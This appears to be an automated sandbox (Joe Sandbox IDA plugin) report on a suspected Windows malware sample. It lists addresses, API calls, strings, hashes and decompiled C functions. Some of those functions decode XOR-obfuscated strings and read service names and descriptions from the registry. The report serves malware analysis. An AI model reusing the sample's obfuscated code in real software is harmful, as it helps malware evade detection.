0x00419b31
0x00419b32
0x00419b35
0x00419b37
0x00419b3b
0x00419b45
0x00419b49
0x00419b5d
0x00419b62
0x00419b67
0x00419b6c
0x00419b71
0x00419b76
0x00419b7b
0x00419b80
0x00419b85
0x00419b8a
0x00419b94
0x00419b95
0x00419b96
0x00419b9b
0x00419ba4
0x00419ba9
0x00419bab
0x00419bae
0x00419bb1
0x00419bb3
0x00419bb7
0x00419bb9
0x00419bc0
0x00419bc6
0x00419bc7
0x00419bc8
0x00419bcd
0x00419bce
0x00419bd3
0x00419bd9
0x00419bdf
0x00419bec
0x00419bf5
0x00419bfc
0x00419c03
0x00419c0a
0x00419c0f
0x00419c13
0x00419c13
0x00419bc0
0x00419c1a
0x00419c1e
0x00419c26
0x00419c28
0x00419c2d
0x00419c32
0x00419c37
0x00419c3c
0x00419c41
0x00419c46
0x00419c4b
0x00419c50
0x00419c55
0x00419c5a
0x00419c64
0x00419c65
0x00419c66
0x00419c72
0x00419c80
0x00419c84
0x00419c87
0x00419c89
0x00419c8c
0x00419c8e
0x00419c90
0x00419c96
0x00419c97
0x00419c98
0x00419c9d
0x00419c9e
0x00419ca3
0x00419ca8
0x00419cb6
0x00419cc2
0x00419cc7
0x00419cc9
0x00419ccb
0x00419cd3
0x00419ced
0x00419cf3
0x00419cf5
0x00419cf7
0x00419cf7
0x00419cfa
0x00000000
0x00000000
0x00419cfd
0x00419cfe
0x00419d04
0x00419d06
0x00000000
0x00000000
0x00000000
0x00419d06
0x00419cf7
0x00419d08
0x00419d09
0x00419cd5
0x00419cd6
0x00419cd7
0x00419cde
0x00419ce1
0x00419ce2
0x00419ce7
0x00419cde
0x00419cd3
0x00419d0a
0x00419d0a
0x00419c90
0x00419d11
0x00419d15
0x00419d1d
0x00419d1f
0x00419d24
0x00419d29
0x00419d2e
0x00419d33
0x00419d38
0x00419d3d
0x00419d42
0x00419d47
0x00419d51
0x00419d52
0x00419d53
0x00419d5c
0x00419d64
0x00419d6d
0x00419d73
0x00419d7d
0x00419d7e
0x00419d81
0x00419d87
0x00419d8d
0x00419d90
0x00419d92
0x00419d99
0x00419d9c
0x00419d9e
0x00419da0
0x00419db0
0x00419dba
0x00419dc3
0x00419dd7
0x00419de3
0x00419de4
0x00419de5
0x00419dea
0x00419deb
0x00419ded
0x00419df5
0x00419dfa
0x00000000
0x00000000
0x00419dfc
0x00419e04
0x00419e1e
0x00419e24
0x00419e26
0x00419e28
0x00419e28
0x00419e2b
0x00000000
0x00000000
0x00419e2d
0x00419e2f
0x00419e35
0x00419e37
0x00000000
0x00000000
0x00000000
0x00419e37
0x00419e28
0x00419e39
0x00419e39
0x00419e06
0x00419e06
0x00419e08
0x00419e0f
0x00419e11
0x00419e13
0x00419e18
0x00419e0f
0x00419e3b
0x00419e3e
0x00419e44
0x00419e4a
0x00419da8
0x00000000
0x00419da8
0x00000000
0x00419e4a
0x00419db0
0x00419e50
0x00419e5b
0x00419e61
0x00419e6d
0x00419e75
0x00419e77
0x00419e80
0x00419e86
0x00419e8b
0x00419e8d
0x00419e8e
0x00419e96
0x00419e9c
0x00419e9c
0x00419e80
0x00419ea2
0x00419ea8
0x00419eaf
0x00419eb4
0x00419eb7
0x00419ec7
0x00419ed0
0x00419ed6
0x00419ed9
0x00419ede
0x00419ee2
0x00419eea
0x00419ef3
0x00419ef5
0x00419ef6
0x00419efe
0x00419f03
0x00419f03
0x00419f0c
0x00419f12
0x00419f19
0x00419f1e
0x00419f21
0x00419f38
0x00419f45
0x00419f4b
0x00419f55
0x00419f58
0x00419f5f
0x00419f68
0x00419f6c
0x00419f6f
0x00419f70
0x00419f73
0x00419f75
0x00419f76
0x00419f7f
0x00419f81
0x00419f82
0x00419f8a
0x00419f8d
0x00419f8f
0x00419f8f
0x00419f70
0x00419f98
0x00419f9e
0x00419fa5
0x00419faa
0x00419fb1
0x00419fb7
0x00419fc7
0x00419fd1
0x00419fd4
0x00419fd5
0x00419fdc
0x00419fe3
0x00419ff7
0x00419ff8
0x00419ff9
0x00419ffc
0x00419ffc
0x00419ffe
0x0041a008
0x0041a00a
0x0041a023
0x0041a030
0x0041a037
0x0041a044
0x0041a046
0x0041a047
0x0041a049
0x0041a04a
0x0041a04f
0x0041a058
0x0041a059
0x0041a05c
0x0041a062
0x0041a067
0x0041a067
0x0041a075
0x0041a08c
0x0041a08f
0x0041a09d
0x0041a0a3
0x0041a0b0
0x0041a0b6
0x0041a0bd
0x0041a0d2

APIs

GetTempPathA.KERNEL32(00000104,?,73B76980), ref: 00419B01
GetTempFileNameA.KERNEL32(?,0042E290,00000000,?), ref: 00419B1B
WaitForSingleObject.KERNEL32(00000014,000000FF,00000000,000000EE), ref: 00419B49
ReleaseMutex.KERNEL32(00000014,?,?,?,00000005,?,?,?,00000006,?,?), ref: 00419FB1
DeleteFileA.KERNEL32(?,?,?,?,?,?,?,00000005,?,?,?,00000006,?,?), ref: 0041A0B6

Strings

%d:%d,, xrefs: 00419BC8, 00419C98, 00419DE5
P, xrefs: 00419B67
Z, xrefs: 00419B5D
u, xrefs: 00419C41
7, xrefs: 00419C4B
), xrefs: 00419D24
t, xrefs: 00419B71
H, xrefs: 00419C46
5, xrefs: 00419C5A
A, xrefs: 00419C3C

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: FileTemp$DeleteMutexNameObjectPathReleaseSingleWait
String ID: %d:%d,$)$5$7$A$H$P$Z$t$u
API String ID: 3931662400-3265384
Opcode ID: 3c49fdb5955c34a8d2e6da6edc8d36a7a58543096db8d776271b5a1e42753794
Instruction ID: 7927d0bcfc7b001d40a68580f42305ce199c1751bf5b6cc31724e065e7e89f78
Opcode Fuzzy Hash: 3c49fdb5955c34a8d2e6da6edc8d36a7a58543096db8d776271b5a1e42753794
Instruction Fuzzy Hash: A602F4351083908FC321CF28D861AE7BFE4AF96314F48965EE8D5473A2C375D849CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 00408250, Relevance: 26.3, APIs: 1, Strings: 14, Instructions: 76
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408250(void* __ecx, void* __esi) {
				intOrPtr _v4;
				intOrPtr _v12;
				char _v264;
				char _v266;
				char _v267;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				char _v286;
				char _v287;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				intOrPtr _t53;
				void* _t55;
				intOrPtr* _t58;
				intOrPtr _t65;
				void* _t72;
				void* _t74;
				char* _t75;

				_t75 =  &_v304;
				_t53 =  *0x4310d8; // 0xd0c2a9a8
				_v4 = _t53;
				_t74 = __ecx;
				_v286 = 0xc9;
				_v266 = 0xc9;
				_v304 = 0x7b;
				_v303 = 0x3a;
				_v302 = 0x59;
				_v301 = 0xfe;
				_v300 = 0x78;
				_v299 = 0xb0;
				_v298 = 0xb1;
				_v297 = 0x27;
				_v296 = 0x34;
				_v295 = 0xf8;
				_v294 = 0x7f;
				_v293 = 0x7a;
				_v292 = 6;
				_v291 = 0x30;
				_v290 = 0xcb;
				_v289 = 0xef;
				_v288 = 0x87;
				_v287 = 0xae;
				_v284 = 0x5e;
				_v283 = 0x6d;
				_v282 = 0x10;
				_v281 = 0xb0;
				_v280 = 0x3c;
				_v279 = 0xf9;
				_v278 = 0xe3;
				_v277 = 2;
				_v276 = 0x68;
				_v275 = 0x8c;
				_v274 = 0xc;
				_v273 = 0x1f;
				_v272 = 0x74;
				_v271 = 0x46;
				_v270 = 0xe5;
				_v269 = 0x98;
				_v268 = 0xe6;
				_v267 = 0xd6;
				_t55 = 0;
				do {
					_t75[_t55 + 4] = _t75[_t55 + 4] ^ _t75[_t55 + 0x18];
					_t55 = _t55 + 1;
				} while (_t55 < 0x13);
				ExpandEnvironmentStringsA( &_v304,  &_v264, 0x104);
				_t58 =  &_v264;
				_t72 = _t58 + 1;
				do {
					_t65 =  *_t58;
					_t58 = _t58 + 1;
				} while (_t65 != 0);
				return E00424873(E004028A0(_t74 + 0x38,  &_v264, _t58 - _t72), _v12);
			}

0x00408250
0x00408256
0x0040825b
0x00408265
0x00408269
0x0040826d
0x00408271
0x00408276
0x0040827b
0x00408280
0x00408285
0x0040828a
0x0040828e
0x00408293
0x00408298
0x0040829d
0x004082a2
0x004082a7
0x004082ac
0x004082b1
0x004082b6
0x004082bb
0x004082c0
0x004082c5
0x004082ca
0x004082cf
0x004082d4
0x004082d9
0x004082dd
0x004082e2
0x004082e7
0x004082ec
0x004082f1
0x004082f6
0x004082fb
0x00408300
0x00408305
0x0040830a
0x0040830f
0x00408314
0x00408319
0x0040831e
0x00408323
0x00408325
0x0040832f
0x00408333
0x00408334
0x00408348
0x0040834e
0x00408352
0x00408355
0x00408355
0x00408357
0x00408358
0x0040837f

APIs

ExpandEnvironmentStringsA.KERNEL32(00000034,00000104,00000104), ref: 00408348

Strings

:, xrefs: 00408276
m, xrefs: 004082CF
^, xrefs: 004082CA
F, xrefs: 0040830A
{, xrefs: 00408271
4, xrefs: 00408298
<, xrefs: 004082DD
z, xrefs: 004082A7
x, xrefs: 00408285
', xrefs: 00408293
0, xrefs: 004082B1
h, xrefs: 004082F1
Y, xrefs: 0040827B
t, xrefs: 00408305

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z${
API String ID: 237503144-1073058172
Opcode ID: 6fad4a32500c4ba3f8a82e59dce4a452e749217753927d1ac47079a33b539138
Instruction ID: dca6d9ca4d919790161e68c6a6737a5004210cde6544d660ad85851be413fbda
Opcode Fuzzy Hash: 6fad4a32500c4ba3f8a82e59dce4a452e749217753927d1ac47079a33b539138
Instruction Fuzzy Hash: 6C41DC1000C7C29DD312D73C955864FBFD15BE7228F488B9DF0E95B2E2D6698249C7A7

Uniqueness

Uniqueness Score: -1.00%

Function 00423FDF, Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 297
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00423FDF(void* __ebx, void* __edi, void* __esi) {
				intOrPtr _t197;
				void* _t198;
				signed int _t206;
				void* _t224;
				signed char _t230;
				CHAR* _t256;
				CHAR* _t258;
				char* _t263;
				void* _t265;

				_t263 = _t265 - 0x70;
				_t197 =  *0x4310d8; // 0xd0c2a9a8
				 *((intOrPtr*)(_t263 + 0x6c)) = _t197;
				 *(_t263 + 0x20) = 0xec;
				 *((char*)(_t263 + 0x21)) = 0xc7;
				 *((char*)(_t263 + 0x22)) = 0x54;
				 *((char*)(_t263 + 0x23)) = 0x7d;
				 *((char*)(_t263 + 0x24)) = 0xdc;
				 *((char*)(_t263 + 0x25)) = 0x15;
				 *((char*)(_t263 + 0x26)) = 0x69;
				 *((char*)(_t263 + 0x27)) = 0xc0;
				 *((char*)(_t263 + 0x28)) = 0x21;
				 *((char*)(_t263 + 0x29)) = 0x71;
				 *((char*)(_t263 + 0x2a)) = 0xf5;
				 *((char*)(_t263 + 0x2b)) = 0x65;
				 *((char*)(_t263 + 0x2c)) = 0xc0;
				 *((char*)(_t263 + 0x2d)) = 0x88;
				 *((char*)(_t263 + 0x2e)) = 0xf4;
				 *((char*)(_t263 + 0x2f)) = 0xc4;
				 *((char*)(_t263 + 0x30)) = 0x2d;
				 *((char*)(_t263 + 0x31)) = 0xd9;
				 *((char*)(_t263 + 0x32)) = 0x18;
				 *((char*)(_t263 + 0x33)) = 0x66;
				 *((char*)(_t263 + 0x34)) = 0x9f;
				 *((char*)(_t263 + 0x35)) = 0x83;
				 *((char*)(_t263 + 0x36)) = 3;
				 *((char*)(_t263 + 0x37)) = 0xb8;
				 *((char*)(_t263 + 0x38)) = 0x91;
				 *((char*)(_t263 + 0x39)) = 0xe;
				 *((char*)(_t263 + 0x3a)) = 0xe7;
				 *((char*)(_t263 + 0x3b)) = 0x7b;
				 *((char*)(_t263 + 0x3c)) = 0x7f;
				 *((char*)(_t263 + 0x3d)) = 0x8c;
				 *((char*)(_t263 + 0x3e)) = 0x43;
				 *((char*)(_t263 + 0x3f)) = 0x5b;
				 *((char*)(_t263 + 0x40)) = 0xb2;
				 *((char*)(_t263 + 0x41)) = 0x81;
				 *((char*)(_t263 + 0x42)) = 0xb0;
				 *((char*)(_t263 + 0x43)) = 0xce;
				 *((char*)(_t263 + 0x44)) = 0x2f;
				 *((char*)(_t263 + 0x45)) = 0x62;
				 *((char*)(_t263 + 0x46)) = 0;
				 *((char*)(_t263 + 0x47)) = 0xa2;
				 *((char*)(_t263 + 0x48)) = 0xa1;
				 *((char*)(_t263 + 0x49)) = 0xab;
				 *((char*)(_t263 + 0x4a)) = 0x81;
				 *((char*)(_t263 + 0x4b)) = 0xdb;
				 *((char*)(_t263 + 0x4c)) = 0xd1;
				 *((char*)(_t263 + 0x4d)) = 0x4b;
				 *((char*)(_t263 + 0x4e)) = 0xcb;
				 *((char*)(_t263 + 0x4f)) = 0x45;
				 *((char*)(_t263 + 0x50)) = 0x7a;
				 *((char*)(_t263 + 0x51)) = 0x78;
				 *((char*)(_t263 + 0x52)) = 0x55;
				 *((char*)(_t263 + 0x53)) = 0x63;
				 *((char*)(_t263 + 0x54)) = 0xc;
				 *((char*)(_t263 + 0x55)) = 0xa4;
				 *((char*)(_t263 + 0x56)) = 0x31;
				 *((char*)(_t263 + 0x57)) = 0x98;
				 *((char*)(_t263 + 0x58)) = 0xc9;
				 *((char*)(_t263 + 0x59)) = 0x10;
				 *((char*)(_t263 - 0x1c)) = 0xbf;
				 *((char*)(_t263 - 0x1b)) = 0xa8;
				 *((char*)(_t263 - 0x1a)) = 0x32;
				 *((char*)(_t263 - 0x19)) = 9;
				 *((char*)(_t263 - 0x18)) = 0xab;
				 *((char*)(_t263 - 0x17)) = 0x74;
				 *((char*)(_t263 - 0x16)) = 0x1b;
				 *((char*)(_t263 - 0x15)) = 0xa5;
				 *((char*)(_t263 - 0x14)) = 0x7d;
				 *((char*)(_t263 - 0x13)) = 0x3c;
				 *((char*)(_t263 - 0x12)) = 0x9c;
				 *((char*)(_t263 - 0x11)) = 6;
				 *((char*)(_t263 - 0x10)) = 0xb2;
				 *((char*)(_t263 - 0xf)) = 0xe7;
				 *((char*)(_t263 - 0xe)) = 0x87;
				 *((char*)(_t263 - 0xd)) = 0xab;
				 *((char*)(_t263 - 0xc)) = 0x4b;
				 *((char*)(_t263 - 0xb)) = 0xad;
				 *((char*)(_t263 - 0xa)) = 0x44;
				 *((char*)(_t263 - 9)) = 0x31;
				 *((char*)(_t263 - 8)) = 0xf6;
				 *((char*)(_t263 - 7)) = 0xed;
				 *((char*)(_t263 - 6)) = 0x67;
				 *((char*)(_t263 - 5)) = 0xd7;
				 *((char*)(_t263 - 4)) = 0xe6;
				 *((char*)(_t263 - 3)) = 0x7d;
				 *((char*)(_t263 - 2)) = 0xc7;
				 *((char*)(_t263 - 1)) = 0x35;
				 *_t263 = 0x2b;
				 *((char*)(_t263 + 1)) = 0xd0;
				 *((char*)(_t263 + 2)) = 0;
				 *((char*)(_t263 + 3)) = 0x2e;
				 *((char*)(_t263 + 4)) = 0xc0;
				 *((char*)(_t263 + 5)) = 0xf3;
				 *((char*)(_t263 + 6)) = 0xd5;
				 *((char*)(_t263 + 7)) = 0xa0;
				 *((char*)(_t263 + 8)) = 0x5b;
				 *((char*)(_t263 + 9)) = 0x34;
				 *((char*)(_t263 + 0xa)) = 0x65;
				 *((char*)(_t263 + 0xb)) = 0xd0;
				 *((char*)(_t263 + 0xc)) = 0xd2;
				 *((char*)(_t263 + 0xd)) = 0xc2;
				 *((char*)(_t263 + 0xe)) = 0xee;
				 *((char*)(_t263 + 0xf)) = 0xb5;
				 *((char*)(_t263 + 0x10)) = 0x8d;
				 *((char*)(_t263 + 0x11)) = 5;
				 *((char*)(_t263 + 0x12)) = 0xae;
				 *((char*)(_t263 + 0x13)) = 0x31;
				 *((char*)(_t263 + 0x14)) = 0xd;
				 *((char*)(_t263 + 0x15)) = 0x17;
				 *((char*)(_t263 + 0x16)) = 0x27;
				 *((char*)(_t263 + 0x17)) = 8;
				 *((char*)(_t263 + 0x18)) = 0x4f;
				 *((char*)(_t263 + 0x19)) = 0xc5;
				 *((char*)(_t263 + 0x1a)) = 0x43;
				 *((char*)(_t263 + 0x1b)) = 0xfc;
				 *((char*)(_t263 + 0x1c)) = 0xba;
				 *((char*)(_t263 + 0x1d)) = 0x10;
				_t198 = 0;
				do {
					 *(_t263 + _t198 + 0x20) =  *(_t263 + _t198 + 0x20) ^  *(_t263 + _t198 - 0x1c);
					_t198 = _t198 + 1;
				} while (_t198 < 0x3a);
				if(RegOpenKeyExA(0x80000002, _t263 + 0x20, 0, 0x20019, _t263 - 0x2c) == 0) {
					 *0x432020 = 0x6e;
					if(RegOpenKeyExA( *(_t263 - 0x2c),  *(_t263 + 0x7c), 0, 0x20019, _t263 - 0x28) == 0) {
						_t206 =  *0x432020; // 0x0
						 *0x432020 = ((0x0000003e - _t206 * 0x00000067 | 0x00000018) ^ 0x00000006) - 0x88 | 0x00000030;
						_t256 =  &(( *(_t263 + 0x78))[0x208]);
						 *(_t263 - 0x20) = 0x104;
						if(RegQueryValueExA( *(_t263 - 0x28), "ServiceName", 0, _t263 - 0x24, _t256, _t263 - 0x20) != 0 ||  *(_t263 - 0x24) != 1) {
							_t250 = _t263 + 0x5c;
							 *(_t263 + 0x64) = 0x3d;
							 *((char*)(_t263 + 0x65)) = 0xb8;
							 *((char*)(_t263 + 0x66)) = 0xda;
							 *((char*)(_t263 + 0x67)) = 0xd7;
							 *((char*)(_t263 + 0x68)) = 0xa0;
							 *((char*)(_t263 + 0x69)) = 0x1b;
							 *((char*)(_t263 + 0x6a)) = 0xa4;
							 *((char*)(_t263 + 0x6b)) = 0xe8;
							 *((char*)(_t263 + 0x5c)) = 0xe8;
							 *((char*)(_t263 + 0x5d)) = 0xca;
							 *((char*)(_t263 + 0x5e)) = 0x6c;
							 *((char*)(_t263 + 0x5f)) = 0xcf;
							 *((char*)(_t263 + 0x60)) = 0xb9;
							 *((char*)(_t263 + 0x61)) = 0xb1;
							 *((char*)(_t263 + 0x62)) = 0xd6;
							 *((char*)(_t263 + 0x63)) = 0x68;
							lstrcpyA(_t256, E00423F92(_t263 + 0x5c, _t263 + 0x64, 8));
						}
						 *(_t263 - 0x20) = 0x104;
						 *0x432020 = 0x54;
						if(RegQueryValueExA( *(_t263 - 0x28), "Description", 0, _t263 - 0x24,  *(_t263 + 0x78), _t263 - 0x20) != 0 ||  *(_t263 - 0x24) != 1) {
							 *(_t263 + 0x64) = 0xe1;
							 *((char*)(_t263 + 0x65)) = 0x90;
							 *((char*)(_t263 + 0x66)) = 0xec;
							 *((char*)(_t263 + 0x67)) = 0xd;
							 *((char*)(_t263 + 0x68)) = 3;
							 *((char*)(_t263 + 0x69)) = 3;
							 *((char*)(_t263 + 0x6a)) = 0x7d;
							 *((char*)(_t263 + 0x6b)) = 0x89;
							 *((char*)(_t263 + 0x5c)) = 0x74;
							 *((char*)(_t263 + 0x5d)) = 0xde;
							 *((char*)(_t263 + 0x5e)) = 0x7f;
							 *((char*)(_t263 + 0x5f)) = 0x61;
							 *((char*)(_t263 + 0x60)) = 0x6c;
							 *((char*)(_t263 + 0x61)) = 0x74;
							 *((char*)(_t263 + 0x62)) = 0xf1;
							 *((char*)(_t263 + 0x63)) = 0x77;
							_t224 = 0;
							do {
								_t250 =  *((intOrPtr*)(_t263 + _t224 + 0x5c));
								 *((intOrPtr*)(_t263 + _t224 + 0x64)) =  *((intOrPtr*)(_t263 + _t224 + 0x64)) +  *((intOrPtr*)(_t263 + _t224 + 0x5c));
								_t224 = _t224 + 1;
							} while (_t224 < 8);
							lstrcpyA(_t256, _t263 + 0x64);
						}
						_t258 =  &(( *(_t263 + 0x78))[0x104]);
						 *(_t263 - 0x20) = 0x104;
						 *0x432020 = 0xdc;
						if(RegQueryValueExA( *(_t263 - 0x28), "Title", 0, _t263 - 0x24, _t258, _t263 - 0x20) != 0 ||  *(_t263 - 0x24) != 1) {
							_t230 =  *0x432020; // 0x0
							 *0x432020 = ((_t230 - 0x00000055 | 0x00000038) ^ 0x0000003c) - 0x00000012 | 0x00000008;
							wsprintfA(_t258, "[%d] %s", E00425A48(_t250,  *(_t263 + 0x7c)),  *(_t263 + 0x78));
							 *0x432020 = 0x54;
						}
						RegCloseKey( *(_t263 - 0x28));
					}
					 *0x432020 = 0x54;
					RegCloseKey( *(_t263 - 0x2c));
				}
				return E00424873(0,  *((intOrPtr*)(_t263 + 0x6c)));
			}

0x00423fe0
0x00423fea
0x00423ff3
0x00423ff7
0x00423ffb
0x00423fff
0x00424003
0x00424007
0x0042400b
0x0042400f
0x00424013
0x00424017
0x0042401b
0x0042401f
0x00424023
0x00424027
0x0042402b
0x0042402f
0x00424033
0x00424037
0x0042403b
0x0042403f
0x00424043
0x00424047
0x0042404b
0x0042404f
0x00424053
0x00424057
0x0042405b
0x0042405f
0x00424063
0x00424067
0x0042406b
0x0042406f
0x00424073
0x00424077
0x0042407b
0x0042407f
0x00424083
0x00424087
0x0042408b
0x0042408f
0x00424092
0x00424096
0x0042409a
0x0042409e
0x004240a2
0x004240a6
0x004240aa
0x004240ae
0x004240b2
0x004240b6
0x004240ba
0x004240be
0x004240c2
0x004240c6
0x004240ca
0x004240ce
0x004240d2
0x004240d6
0x004240da
0x004240de
0x004240e2
0x004240e6
0x004240ea
0x004240ee
0x004240f2
0x004240f6
0x004240fa
0x004240fe
0x00424102
0x00424106
0x0042410a
0x0042410e
0x00424112
0x00424116
0x0042411a
0x0042411e
0x00424122
0x00424126
0x0042412a
0x0042412e
0x00424132
0x00424136
0x0042413a
0x0042413e
0x00424142
0x00424146
0x0042414a
0x0042414e
0x00424152
0x00424156
0x00424159
0x0042415d
0x00424161
0x00424165
0x00424169
0x0042416d
0x00424171
0x00424175
0x00424179
0x0042417d
0x00424181
0x00424185
0x00424189
0x0042418d
0x00424191
0x00424195
0x00424199
0x0042419d
0x004241a1
0x004241a5
0x004241a9
0x004241ad
0x004241b1
0x004241b5
0x004241b9
0x004241bd
0x004241c1
0x004241c5
0x004241c7
0x004241cb
0x004241cf
0x004241d0
0x004241f3
0x00424202
0x00424210
0x00424216
0x00424240
0x00424249
0x0042425d
0x00424268
0x00424276
0x00424279
0x0042427d
0x00424281
0x00424285
0x00424289
0x0042428d
0x00424291
0x00424295
0x00424299
0x0042429d
0x004242a1
0x004242a5
0x004242a9
0x004242ad
0x004242b1
0x004242b5
0x004242c0
0x004242c0
0x004242da
0x004242e1
0x004242ec
0x004242f4
0x004242f8
0x004242fc
0x00424300
0x00424304
0x00424308
0x0042430c
0x00424310
0x00424314
0x00424318
0x0042431c
0x00424320
0x00424324
0x00424328
0x0042432c
0x00424330
0x00424334
0x00424336
0x00424336
0x0042433a
0x0042433e
0x0042433f
0x00424349
0x00424349
0x00424356
0x0042436a
0x00424371
0x0042437c
0x00424384
0x00424396
0x004243aa
0x004243b3
0x004243b3
0x004243bd
0x004243bd
0x004243c6
0x004243cd
0x004243d3
0x004243e4

APIs

RegOpenKeyExA.ADVAPI32(80000002,?,-00000085,00020019,?,00000015,73BB8170,-00000085), ref: 004241EF
RegOpenKeyExA.ADVAPI32(?,?,-00000085,00020019,?), ref: 0042420C
RegQueryValueExA.ADVAPI32(?,ServiceName,-00000085,?,?,?), ref: 00424264
lstrcpyA.KERNEL32(?,00000000,?,00000008), ref: 004242C0
RegQueryValueExA.ADVAPI32(?,Description,-00000085,?,?,?), ref: 004242E8
lstrcpyA.KERNEL32(?,?), ref: 00424349
RegQueryValueExA.ADVAPI32(?,Title,-00000085,?,?,?), ref: 00424378
wsprintfA.USER32 ref: 004243AA
RegCloseKey.ADVAPI32(?), ref: 004243BD
RegCloseKey.ADVAPI32(?), ref: 004243CD

Strings

Title, xrefs: 00424362
Description, xrefs: 004242D2
ServiceName, xrefs: 00424255
[%d] %s, xrefs: 004243A4

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: QueryValue$CloseOpenlstrcpy$wsprintf
String ID: Description$ServiceName$Title$[%d] %s
API String ID: 3166188874-1473919770
Opcode ID: 1cba8531eed69f0265a1a8263c6283e28a52de81ee3fdcba2049970ed3676856
Instruction ID: 6680b16a96a5c44080e11861cc09de442746eb46afeef6c423604978be70d492
Opcode Fuzzy Hash: 1cba8531eed69f0265a1a8263c6283e28a52de81ee3fdcba2049970ed3676856
Instruction Fuzzy Hash: 8FE121205087CEDDDF22CB7C98486CD7F955B27328F484389F9E45A2E2C3A9854AC776

Uniqueness

Uniqueness Score: -1.00%

Function 00427120, Relevance: 22.8, APIs: 8, Strings: 5, Instructions: 71
libraryloadermemoryCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E00427120() {
				void* __edi;
				void* __esi;
				intOrPtr _t8;
				struct HINSTANCE__* _t10;
				struct HINSTANCE__* _t12;
				long _t13;
				_Unknown_base(*)()* _t17;
				void* _t23;
				struct HINSTANCE__* _t27;
				void* _t31;
				struct HINSTANCE__* _t33;

				if(E00427438() != 0) {
					_push(_t31);
					_t27 = GetModuleHandleA("kernel32.dll");
					__eflags = _t27;
					if(_t27 != 0) {
						_t31 = GetProcAddress;
						 *0x432054 = GetProcAddress(_t27, "FlsAlloc");
						 *0x432058 = GetProcAddress(_t27, "FlsGetValue");
						 *0x43205c = GetProcAddress(_t27, "FlsSetValue");
						_t17 = GetProcAddress(_t27, "FlsFree");
						__eflags =  *0x432058;
						 *0x432060 = _t17;
						if( *0x432058 == 0) {
							 *0x432058 = TlsGetValue;
							 *0x43205c = TlsSetValue;
							 *0x432054 = E00426F42;
							 *0x432060 = TlsFree;
						}
					}
					_t8 =  *0x432054(E00426FD9);
					__eflags = _t8 - 0xffffffff;
					 *0x431124 = _t8;
					if(__eflags == 0) {
						L9:
						E00426F4B();
						_t10 = 0;
						__eflags = 0;
					} else {
						_push(0x8c);
						_push(1);
						_t33 = E0042AF1A(_t23, 1, _t31, __eflags);
						__eflags = _t33;
						if(_t33 == 0) {
							goto L9;
						} else {
							_t12 =  *0x43205c( *0x431124, _t33);
							__eflags = _t12;
							if(_t12 == 0) {
								goto L9;
							} else {
								 *((intOrPtr*)(_t33 + 0x54)) = 0x431878;
								 *((intOrPtr*)(_t33 + 0x14)) = 1;
								_t13 = GetCurrentThreadId();
								 *(_t33 + 4) =  *(_t33 + 4) | 0xffffffff;
								 *_t33 = _t13;
								_t10 = 1;
							}
						}
					}
					return _t10;
				} else {
					E00426F4B();
					return 0;
				}
			}

0x00427127
0x00427131
0x0042713e
0x00427140
0x00427142
0x00427144
0x00427158
0x00427165
0x00427172
0x00427177
0x00427179
0x00427180
0x00427185
0x0042718c
0x00427196
0x004271a0
0x004271aa
0x004271aa
0x00427185
0x004271b4
0x004271ba
0x004271bd
0x004271c2
0x00427205
0x00427205
0x0042720a
0x0042720a
0x004271c4
0x004271c6
0x004271cc
0x004271d2
0x004271d4
0x004271d8
0x00000000
0x004271da
0x004271e1
0x004271e7
0x004271e9
0x00000000
0x004271eb
0x004271eb
0x004271f2
0x004271f5
0x004271fb
0x004271ff
0x00427201
0x00427201
0x004271e9
0x004271d8
0x0042720e
0x00427129
0x00427129
0x00427130
0x00427130

APIs

